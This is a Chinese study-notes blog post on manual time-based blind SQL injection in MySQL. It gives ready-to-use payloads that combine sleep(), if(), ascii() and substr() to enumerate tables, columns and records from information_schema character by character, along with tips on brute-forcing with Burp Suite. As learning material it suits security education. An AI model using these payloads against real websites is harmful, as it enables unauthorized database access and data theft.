学习记录-注入之延时注入(手工注入)

学习记录-注入之延时注入(手工注入)

注:文章仅用于学术交流,不用于其它用途,不足之处,评论指出,谢谢大佬们

一、概念及原理
延时注入,也是盲注类型的一种,很多网站会屏蔽显错,不会返回任何有价值的信息,尝试用sleep,页面出现延时刷新,这个时候很可能存在延时注入,我们简单的讲,就是通过sleep函数注入让页面延时,就可以尝试延时注入;这里与布尔盲注很相似(可参考另外一篇文章-布尔盲注),都是利用ascii函数一个一个转换成数字,然后单个去翻译获取信息,与布尔盲注不同之处在于,延时盲注返回页面相同,通过返回页面不能判断其正确性,需要通过响应时间判断正确性。

二、注入步骤
总体步骤:判断是否存在延时盲注(一般页面屏蔽错显,通过sleep注入查看页面相应时间)----延时注入(mysql5.0及以上自带库信息,利用ascii转换数字判断,加入if(xx,xx,xx)函数,为了更快捷的获取结果,利用工具burp suit快速组合)

1)判断是否存在布尔盲注(以get传参为例)
and sleep(5) 简单举例,实际操作中要闭合参数
结论:页面出现延时刷新,可能存在延时盲注
2) 获取表名,可手工,也可利用工具brup suit,提高效率,这里使用brup工具,需要主要看的是响应时间
手工代码(这里剧烈参数id="",用“闭合,可一个个手工的方式获取表名、列名、记录):
"and if((select count(table_name) from information_Schema.tables where table_schema=database())=6,sleep(5),1) --+ 这里是获取当前库的所有表数量,如果true,就会执行sleep延时,否则直接刷新

"and if((select length(table_name) from information_Schema.tables where table_schema=database() limit 0,1)=6,sleep(5),1) --+ 这里是获取当前库第一个表的字符长度,如果true,就会执行sleep延时,否则直接刷新

"and if(ascii(substr((select table_name from information_Schema.tables where table_schema=database() limit 0,1),1,1))=108,sleep(5),1) --+这里是获取当前库第一个表名的第一个字符对应的ascii数字,如果true,就会执行sleep延时,否则直接刷新

使用工具辅助brup suit快速获取信息,可以通过页面响应时间直提取对应数字,然后通过ascii表格翻译:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3)获取字段及记录
现在我们已经获取到表名,可根据相同方法获取字段及记录数据
手工虽然能获取数据,但是非常费时间,所有建议还是用上述burp工具辅助;substr(str,起始位,截取位数)截取函数,sacii(str)函数将单个字符转化为十六进制数字,if(1,2,3)函数,如果1执行正确则执行2,否则执行3

"and if((select count(column_name) from information_Schema.columns where table_Schema=database() and table_name=‘xx’)=xx,sleep(5),1) --+ 获取列数量

"and if((select length(column_name) from information_Schema.columns where table_Schema=database() and table_name=“xx” limit 0,1)=xx,sleep(5),1) --+获取第一个列的字符长度

"and if(ascii(substr((select column_name from information_Schema.columns where table_Schema=database() and table_name=“xx” limit 0,1),1,1))=xx,sleep(5),1) --+ 获取第一个列的第一个字符ascii数字,可通过limit慢慢取字符位置,获取整个列名

"and if((select count(xx) from xx) =xx,sleep(5),1) --+ 获取记录行数

"and if((select length(xx) from xx limit 0,1) =xx,sleep(5),1) --+ 获取记录某列第一条数据字符长度

"and if(ascii(substr((select xx from xx limit 0,1),1,1))=xx,sleep(5),1) --+ 获取数据,可以一个一个字符就能获取所有数据

三、个人总结
1)条条大路通罗马,一定要选择最简单效率最高的,不一定非要用盲注获取数据,灵活运用
2)使用工具批量爆破,由于页面反应时间存在差异,所以必须通过多次调试sleep秒数排除,比如我遇到的一个问题,第七个字符获取的ascii有两个且页面响应时间很相似,解决方法通过多次调试sleep秒数,增大延时时间,就筛出自己需要的数据
3)用工具burp用get传参,要注意需要url编码,且闭合参数需尝试单引号、双引号、括号、注释符号多方式组合

猜你喜欢

转载自blog.csdn.net/SmileAndFun/article/details/107484402